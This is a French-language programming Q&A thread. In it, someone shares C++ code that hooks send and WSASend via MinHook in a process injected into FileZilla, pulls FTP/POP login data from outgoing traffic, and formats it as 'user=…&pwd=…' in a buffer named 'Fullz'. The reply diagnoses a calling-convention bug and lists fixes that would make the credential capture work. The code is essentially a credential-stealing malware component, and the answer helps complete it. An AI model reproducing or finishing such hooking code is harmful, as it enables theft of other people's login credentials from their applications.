2017-01-01 10 views
1

J'essaye d'accrocher Send/WSASend pour surveiller le trafic, montrer des données dans la boîte de message, quand je crochet autre que montrer un message avec le trafic il sort cette erreur d'exécution.Hooking Send/WSASend renvoie l'erreur de vérification d'exécution # 0

Le code semble compiler correctement, ressemble à ceci ci-dessous

#include "stdafx.h" 
#include "MinHook.h" 
#include <Windows.h> 
#include <stdio.h> 
#include <Wininet.h> 
#include <fstream> 
#include <string> 
#include <vector> 
#include <winsock2.h> 
#include "popftphook.h" 

#pragma comment (lib, "wininet") 
#pragma comment(lib,"urlmon") 
#pragma comment(lib, "ws2_32") 

using namespace std; 

LPVOID original_functionwsa = NULL; 
LPVOID original_functionsend = NULL; 

template <typename T> 
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal) 
{ 
    return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal)); 
} 

typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags); 
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine); 
void ExportBuffer(char *buf, SOCKET s); 
send_FuncType True_send = NULL; 
OldWSASend TrueWSAhook1 = NULL; 

void ExportBuffer(char *buf, SOCKET s) 
{ 
    char *buffer = (char*)buf; 
    if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0) 
    { 
     sockaddr_in peeraddr; 
     int size = sizeof(peeraddr); 
     getpeername(s, (struct sockaddr *)&peeraddr, &size); 
     struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr; 
     char* IP = inet_ntoa(peeraddr.sin_addr); 
     int Port = (int)htons(peeraddr.sin_port); 

     if (IP != NULL && Port > 0) 
     { 
      char Fullz[250]; 
      wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port); 
      MessageBoxA(0, Fullz, 0, 0); 
     } 
    } 
} 


int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags) 
{ 
    int hResult = True_send(s, buf, len, flags); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)buf, s); 
    } 

    return hResult; 
} 

int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) 
{ 
    int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)lpBuffers->buf, s); 
    } 
    return hResult; 

} 

void hookSend() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send"); 
    status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void hookWSApop() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend"); 
    status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void poptrigger() 
{ 
    hookSend(); 
    hookWSApop(); 
} 

Quand j'injectent dans filezilla je reçois Runtime, erreur # 0 sur la ligne 57.

Répondre

3

Votre send_FuncType typedef manque un appel explicite convention, donc la valeur par défaut du compilateur (habituellement __cdecl) est utilisée. send() utilise la convention d'appel __stdcall (comme presque toutes les fonctions de l'API Win32). Vous risquez donc de provoquer des erreurs d'exécution lors de l'appel au True_send() en raison de cette non-concordance de convention d'appel. La macro WINAPI inclut la convention __stdcall, donc vous n'avez pas une discordance similaire sur votre crochet WSASend().

En outre, ExportBuffer() a beaucoup de bugs logiques:

  1. send() et WSASend() ne fonctionnent pas sur des tampons à zéro terminal (et terminateurs nuls n'existent pas dans les protocoles FTP et POP3), mais votre strncmp et les opérations wsprintfA attendent des données à terminaison nulle.
  2. Vous ne prenez pas en compte la nature orientée flux de TCP. Il n'y a aucune garantie qu'un tampon donné contienne des chaînes complètes. Vous devez être prêt à gérer les chaînes qui s'étendent sur plusieurs buffers.
  3. Vous supposez que toutes les sockets utilisent uniquement IPv4, mais cela n'est pas garanti. Pour prendre en charge IPv4 et IPv6, utilisez sockaddr_storage au lieu de sockaddr_in et utilisez InetPton() au lieu de inet_ntoa().
  4. Vous ne passez pas suffisamment de paramètres à wsprintfA(). Vous avez 4 spécificateurs de format mais ne transmettez que 3 valeurs de données.
  5. Vous semblez vouloir traiter les protocoles FTP et POP3, mais les chaînes "FTP" et "POP" n'apparaissent pas dans les données transmises dans ces protocoles, alors qu'est-ce que vous cherchez vraiment?

Vous devez corriger ces erreurs.